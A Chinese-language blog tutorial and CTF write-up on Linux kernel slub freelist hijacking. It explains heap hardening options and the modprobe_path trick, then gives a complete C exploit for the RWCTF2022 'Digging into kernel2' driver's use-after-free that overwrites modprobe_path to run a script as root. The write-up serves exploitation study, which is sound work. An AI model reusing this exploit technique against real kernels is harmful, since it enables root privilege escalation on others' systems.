0x05. Linux kernel基础:劫持freelist

这个我熟,tcache poisoning

[toc]

Linux kernel之freelist劫持

0x00. 基础知识:slub分配器中的freelist

我们知道Linux kernel中的内存管理结构包括buddy systemslub allocator。而slub allocator也是由链表来进行管理的,包括正在使用的kmem_cache_cpukmem_cache_node。而释放掉的obj和我们用户态差不多,同样由头插法插入叫做freelist的链表。

该链表与tcachefastbin的类似,遵循后进先出的形式(但需要注意的是obj不含有用户态chunk一样的header),并同样有一个指针指向freelist中下一个堆块。

因此,若我们打印该指针,可以得到freelist中下一个obj的地址;若我们劫持该指针指向任意位置,则可以将obj分配到任意位置,和用户态中的tcache十分类似。

注意,此处描述的是不开启堆保护机制的情况。

0x01. 基础知识:kernel中的堆保护

Hardened freelist

我们知道glibc高版本中的tcachenext指针是有加密的,方法是将堆地址右移十二位再异或next指针。

在开启了Hardened freelist保护的内核中,freelist上的指针就和高版本的glibc类似。

freelist上的指针将由以下三个部分异或组成:

  • 当前free obj的地址
  • 下一个free obj的地址
  • kmem_cache指定的random

如你所见,在开启了这个保护的情况下,攻击者至少需要得知当前free obj的地址和random值才可以劫持freelist

Random freelist

在用户态下,分配chunk的过程是不断切割top chunk的过程,因此分配出的chunk都是在连续内存空间内的。

在开启了random freelistkernel下,每个freelist中的obj不再位于连续的空间——而是在一个slub allocator中随机分布。如下所示:(图来自于arttnba3师傅)

QQ_1722492400172

而这种保护实际上发生于slub allocator刚从buddy system拿到新slub的时候。由此,在之后,freelist仍然保持后进先出,这并不会给我们劫持freelistfd造成实质影响。

CONFIG_INIT_ON_ALLOC_DEFAULT_ON

很简单,开启该保护的时候,kernelbuddy systemslab allocator均会将分配出的obj上的内容清空,也就是防止未初始化的内存泄露~

Hardened Usercopy

简单来说就是会检测用户空间和内核空间相互进行数据拷贝的时候是否溢出,包括copy_from_usercopy_to_user等函数。

这种保护不适用于内核空间相互数据拷贝,因此可以从这个角度进行绕过~

0x02. 基础知识:modprobe_path

什么是modprobe_path

Linux下,若我们执行一个非法文件(即file magic not found)时,内核会经历如下的调用链:

1
2
3
4
5
6
7
8
9
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module() // wrapped as request_module
call_modprobe()

最终执行的是call_modprobe(),而call_modprobe如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int call_modprobe(char *module_name, int wait)
{
//...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
//...

可以看到,其会以root权限来执行modprobe_path中的内容。

modprobe_path中本身的内容是/sbin/modprobe。若我们能够将其劫持为一个恶意脚本路径(例如,里面写了chmod 777 /flag),则可以以root权限来执行这个恶意脚本。

显然,我们可以用freelist来劫持modprobe_path

kernel pwn中如何找到modprobe_path的地址

我们无法通过cat /proc/kallsyms来找到modprobe_path的地址。幸运的是,在__request_module中,存在一个对modprobe_path的引用。由此,我们可以从/proc/kallsyms中找到__request_module函数的地址,并使用gdb连接到kernel,查看该函数附近的汇编代码,即可找到modprobe_path的地址~

具体如下:

首先我们找到__request_module函数的地址:

QQ_1722493258038

随后,我们让gdb连接到该kernel,设置target remote:1234即可,通过x/40i来查看刚刚获得的函数地址附近的代码:

QQ_1722493343591

如上所示,箭头所指的地方就是modprobe_path的地址的引用。

通过如上方式,我们就可以获得modprobe_path的地址。

0x03. 初探freelist劫持:以RWCTF2022体验赛: Digging into kernel2为例

题目信息

题目启动脚本如下:

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic \
-s

可以看到:

  • 开启了smepsmap保护,这意味着内核无法执行或者访问用户态的代码和数据;
  • 开启了kaslr保护,这意味着内核基地址随机;
  • 没有设置oops=panic panic=1,我们将其加上可以使得内核崩溃后退出。

题目rcS启动脚本(/etc/init.d/rcS)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/sh

chown -R 0:0 /

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /xkmod.ko
chmod 644 /dev/xkmod

chmod 600 /flag
chmod 600 /etc/init.d/rcS

mkdir home && cd home
chown -R 1000:1000 .

echo "-------------------------------------------"
echo "| |"
echo "| |~~\| | | /~~~~|~~|~~ /~\ /~~\/~\/| |"
echo "| |__/| | || | |-- ,/| |,/ | |"
echo "| |__/| | || | |-- ,/| |,/ | |"
echo "| | \ \/ \/ \__ | | /__ \__//___|_ |"
echo "| |"
echo "-------------------------------------------"

poweroff -d 120 -f &
setsid cttyhack setuidgid 1000 sh
# setsid cttyhack setuidgid 0 sh

poweroff -d 0 -f

可以看到:

  • 设置dmesg_restrict1,这意味着普通用户不再能够通过dmesg查看printk输出
  • 设置kptr_restrict1,这意味着普通用户无法直接查看/proc/kallsyms获取函数地址
  • 没有挂载pts,这意味着我们无法打开/dev/ptmx来打开tty_struct结构体

题目驱动的file_operations定义了initreleaseioctl,分别如下:

QQ_1722494605845

可以看到,其创建了一个属于kmalloc-192kmem_cache,名为lalala

ioctl中有分配、编辑、查看堆块功能:

QQ_1722494740302

可以看到,分配的obj保存在全局变量buf中。

release中,可以释放obj,存在UAF:

QQ_1722494815674

解题思路概览

这道题首先和ciscn-2017-babydriver类似:分配的obj由全局变量buf表示,这意味着我们可以通过打开多个题目驱动,来使得多个fd都指向这个全局变量。由于UAF的存在,我们可以关闭一个fd,而让其它的fd来编辑这个已经释放的堆块。

题目给定的kmem_cachekmalloc-192,但没有任何分配flag:这就让我们的利用方式多样。而考虑到这里kmalloc-192不属于我们之前学到的seq_filepipe的大小,而且本题也无法打开tty_struct,我们需要考虑使用别的方式来解出本题。

回到本题,本题给出了一个白给的UAF,并且含有编辑功能。在我们用户态下,我们便可以直接利用这点来打__free_hook

这在内核中也类似,我们可以通过劫持freelist来实现任意地址写。

由此,我们先查看已经释放的obj的指针,观察其是否开启了Hardened freelist保护和Random freelist保护。经过测试,本题开启了random freelist,而没有开启hardened freelist。因此我们可以便捷地劫持freelist指针。

劫持到哪里呢?其实已经呼之欲出,将其指向modprobe_path,修改其内容为恶意脚本,即可修改modprobe_path来完成攻击~

解题思路重点 - 通过堆泄露内核基地址

在劫持freelist指向modprobe_path之前,我们需要思考如何泄露内核基地址。

师傅需要知道如下堆上的特性:

在堆地址+ 0x9d000处,存在一个地址:secondary_startup_64。因此,我们可以将freelist申请到这块obj,并泄露其中的内容,获取secondary_startup_64的地址,从而泄露内核基地址。

但由于Random freelist的存在,我们UAFobj的地址是非常随机的,由此我们将其& 0xfffffffff0000000,猜测出其堆块基地址,若未命中,需要重新运行exp

解题思路重点 - freelist合法性

在本题中,还需要注意保持freelist的合法性。

在用户态中,若我们让某条tcache链指向非法地址,则再次从该链中申请chunk时就会报错。

内核中也是如此,我们不能让freelist指向一个非法地址,即使是不再从里面申请也不行——因为很可能别的函数也会申请内存空间。因此,我们需要让freelist指针指向0。例如,在劫持modprobe_path的时候,我们可以指向其地址-0x10处:如此便可以让freelist中挂入的地址为0

解题脚本

详细注释的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdarg.h>
#include "ltfallkernel.h"

#define SECONDARY_STARTUP_64 0Xffffffff81000030
#define MODPROBE_PATH 0xffffffff82444700

#define ROOT_SCRIPT_PATH "/home/shell.sh"

char root_cmd[] = "#!/bin/sh\nchmod 777 /flag\n";

typedef struct
{
size_t *content;
unsigned int offset;
unsigned int size;
} book;

void note_read(int fd, book *b)
{

ioctl(fd, 0x6666666, b);
}

void note_write(int fd, book *b)
{
ioctl(fd, 0x7777777, b);
}

void note_add(int fd, book *b)
{
ioctl(fd, 0x1111111, b);
}

int main()
{
int dev_fd[5];
int root_script_fd;
size_t kernel_heap_leak;
size_t page_offset_base;
char flag[0x50];
int flag_fd;

bind_core(0);
save_status();

info("Starting to exploit...");

// 打开五个fd
for (int i = 0; i < 5; i++)
{
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
if (dev_fd[i] == -1)
{
err_exit("Failed to open /dev/xkmod.");
}
}

/**
* Step0: 创建fake modprobe_path
*/
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT, 777);
if (root_script_fd == -1)
{
err_exit("Failed to create root_script.");
}
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " ROOT_SCRIPT_PATH);
success("Finished writing root_script to " ROOT_SCRIPT_PATH);

/**
* Step1: 泄露内核基地址
*/

// 申请一块内存备用
// size_t *buf = (size_t*)malloc(0x1000 * sizeof(size_t));
book data;
data.content = malloc(0x1000);
data.offset = 0;
data.size = 0x50;

// 申请一个obj,随后释放到freelist
note_add(dev_fd[0], &data);
note_read(dev_fd[0], &data);
close(dev_fd[0]);

// 程序里全局变量指针指向的空间已经被释放了,我们将其读出来读到buf
note_write(dev_fd[1], &data);
kernel_heap_leak = data.content[0];

// 猜测堆地址
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;

info("kernel_heap_leak is 0x%llx.", kernel_heap_leak);
info("Guessing page_offet_base: 0x%llx.", page_offset_base);

info("Since, try to alloc fake chunk at page_offset_base + 0x9d000 - 0x10 to leak kernel base...");

// 这是因为freelist上得地址必须合法,我们将0x9d000-0x10的地方入freelist,它的next就会为0.合法
data.content[0] = page_offset_base + 0x9d000 - 0x10;
data.offset = 0;
data.size = 8;

// 劫持freelist的fd,申请两次
note_read(dev_fd[1], &data);
note_add(dev_fd[1], &data);
note_add(dev_fd[1], &data);

// 打印内容,查看是否获得secondary_startup_64函数的地址
data.size = 0x40;
note_write(dev_fd[1], &data);
if ((data.content[2] & 0xfff) != (SECONDARY_STARTUP_64 & 0xfff))
{
error("Invalid data leak: 0x%llx.", data.content[2]);
err_exit("Failed to HIT page_offset_base, try again!");
}


// 若获得,则可以通过该函数地址计算出内核基地址
kernel_offset = data.content[2] - SECONDARY_STARTUP_64;
kernel_base += kernel_offset;

success("Kernel Offset: 0x%llx.", kernel_offset);
success("Kernel Base: 0x%llx.", kernel_base);

/**
* Step1: 劫持modprobe_path
*/

info("Making UAF again and hijacking modprobe_path...");

// 由于刚刚让freelist中的obj指向0,因此再次add可以重新整一个slub page上来
note_add(dev_fd[1], &data);
close(dev_fd[1]);

// 指向modprobe_path - 0x10,使得挂入freelist的地址合法
data.content[0] = kernel_offset + MODPROBE_PATH - 0x10;
data.offset = 0;
data.size = 0x8;

info("Hijacking freelist...");
note_read(dev_fd[2], &data);
note_add(dev_fd[2], &data);
note_add(dev_fd[2], &data);

// 往申请到的modprobe_path写我们的恶意脚本路径
strcpy(&data.content[2], ROOT_SCRIPT_PATH);
data.size = 0x30;
note_read(dev_fd[2], &data);

// 执行不合法的文件,触发call_modprobe
info("Triggering fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");

memset(flag, 0, sizeof(flag));

// 打开flag并读取,完结撒花
flag_fd = open("/flag", O_RDWR);
if (flag_fd < 0)
{
err_exit("Failed to chmod for flag!");
}

read(flag_fd, flag, sizeof(flag));

success("Got flag: %s.", flag);

return 0;
}

0x05. Linux kernel基础:劫持freelist
http://example.com/2024/08/01/system/kernel/Linux_kernel4_freelist劫持/
作者
Ltfall
发布于
2024年8月1日
许可协议